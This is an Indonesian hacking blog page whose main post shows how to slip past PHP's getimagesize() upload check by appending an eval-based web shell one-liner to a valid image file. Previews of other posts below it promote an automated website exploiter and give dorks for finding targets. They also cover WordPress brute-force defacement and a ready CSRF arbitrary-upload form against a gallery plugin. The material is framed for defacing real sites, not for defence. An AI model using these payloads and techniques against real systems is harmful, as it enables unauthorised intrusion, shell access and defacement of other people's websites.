Skip to main content

Tutorial Bypass Fungsi getimagesize(): Bypass Batasan Upload

Hai semua. Di tutorial ini akan dibahas cara membypass fungsi pathinfo() dan getimagesize() di PHP yang sering digunakan untuk membatasi upload. Goal tutorial ini yaitu agar file dapat terupload. Berikut pembahasannya.

1. Fungsi getimagesize()

Fungsi getimagesize() merupakan salah satu fungsi di PHP yang berfungsi untuk mendapatkan informasi ukuran/dimensi dari sebuah gambar. Fungsi ini sering juga digunakan untuk memvalidasi apakah file yang diupload merupakan gambar atau bukan.
Function [ <internal:standard> function getimagesize ] {
  - Parameters [2] {
    Parameter #0 [ <required> $imagefile ]
    Parameter #1 [ <optional> &$info ]
  }
}
Return dari fungsi ini berupa array. Berikut contoh return value getimagesize().
root@p4kl0nc4t:~# php -r 'print_r(getimagesize("http://php.net/favicon.ico"));'Array
(
    [0] => 16
    [1] => 16
    [2] => 6
    [3] => width="16" height="16"
    [bits] => 24
    [mime] => image/x-ms-bmp
)

2. Bypass getimagesize()

Oleh karena fungsi ini hanya untuk mengetahui dimensi gambar, maka meskipun ekstensi yang dimiliki yaitu .php, namun berupa gambar yang valid, maka getimagesize() tidak akan mengeluarkan error. Untuk melakukan bypass, dapat dilakukan dengan mudah yaitu menyisipkan kode php ke dalam sebuah gambar yang valid. Sederhananya, dapat dilakukan dengan perintah/command echo "<?php eval($_GET['x']); ?>" >>gambar.jpg. Berdasarkan command tersebut, kode PHP akan disisipkan ke ujung gambar, namun gambar akan tetap valid dan dapat melewati getimagesize() dengan sempurna.

Sekian, semoga bermanfaat :)

Comments

Popular posts from this blog

XAttacker Website Vulnerability Scanner & Auto Exploiter 

squadcyber.org - XAttacker adalah Website Vulnerability Scanner & Auto Exploiteryang di tulis dalam bahasa pemrograman Perl untuk menganalisis sebuah celah web dan meng eksploitasi nya secara otomatis. Tool ini fungsi nya hampir sama seperti yang gw posting sebelum nya yaitu Mr. Spy Bot Auto Deface   . Fitur   Auto Cms Detect [1] WordPress : [+] Adblock Blocker [+] WP All Import [+] Blaze [+] Catpro [+] Cherry Plugin [+] Download Manager [+] Formcraft [+] Power Zoomer [+] Gravity Forms [+] Revslider Upload Shell [+] Revslider Dafece Ajax [+] Revslider Get Config [+] Showbiz [+] Simple Ads Manager [+] Slide Show Pro [+] WP Mobile Detector [+] Wysija [+] InBoundio Marketing [+] dzs-zoomsounds [+] Reflex Gallery [+] Creative Contact Form [+] Work The Flow File Upload [+] WP Job Manger [+] PHP Event Calendar [+] Synoptic [+] Wp Shop [+] Content Injection [2] Joomla [+] Com Jce [+] Com Media [+] Com Jdownloads ...

Deface Wordpress Bruteforce dengan WPScan

squadcyber.org  - Kali ini gw bagiin tutorial Deface Wordpress Bruteforce dengan WPScan, kenapa WPScan ? kenapa nggak pake tools yang lainnya?. Karena menurut gw tool yang paling manjur untuk Penetration Testing sebuah web yang menggunakan CMS Wordpress adalah WPScan, dan WPScan sering melakukan update pada database nya sehingga bisa memberikan refrensi untuk bug yang di dapat pada waktu scan bug di web tersebut dan bisa meng eksploitasi Web yang menggunakan CMS Wordpress terbaru. Bahan - Bahan  - WPScan ( Untuk Windows bisa kalian lihat di sini , dan untuk android bisa kalian lihat Di sini  )  - Wordlist ( Download Di sini  atau kalian bisa buat sendiri) Dork    - inurl:/wp-login.php (kembangin lagi) Cara Deface Wordpress Bruteforce kali ini gw pake Termux ( android ) karena minim nya fasilitas yang ada :v. Pertama kalian busa folder wpscan nya dengan mengetik $ cd wpscan Setelah masuk di folder wpscan nya , kita scan dulu ...

Deface Dengan Metode Wordpress Plugin DreamWorkGallery

www.squadcyber.org - Yo guys, balik lagi ma ane :v kali ini wa mau kasih tutor pepes pakek metode  Wordpress Plugin DreamWorkGallery. Langsung yok :v Bahan" : Dork : inurl:/wp-content/plugins/wp-dreamworkgallery/ (kembangin ea) CSRF : <form action="http://www.site.co.li/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data"> <input type="hidden" name="task" value="drm_add_new_album" /> <input type="hidden" name="album_name" value="Arbitrary File Upload" /> <input type="hidden" name="album_desc" value="Arbitrary File Upload" /> <input type="file" name="album_img" value=""/> <input type="submit" value="SIKAT!" /></form>  Langsung :v 1. Dorking pakek dork diatas   2. Kalo gini vuln :v Copy url web nya doang. Lalu masukin di CSR...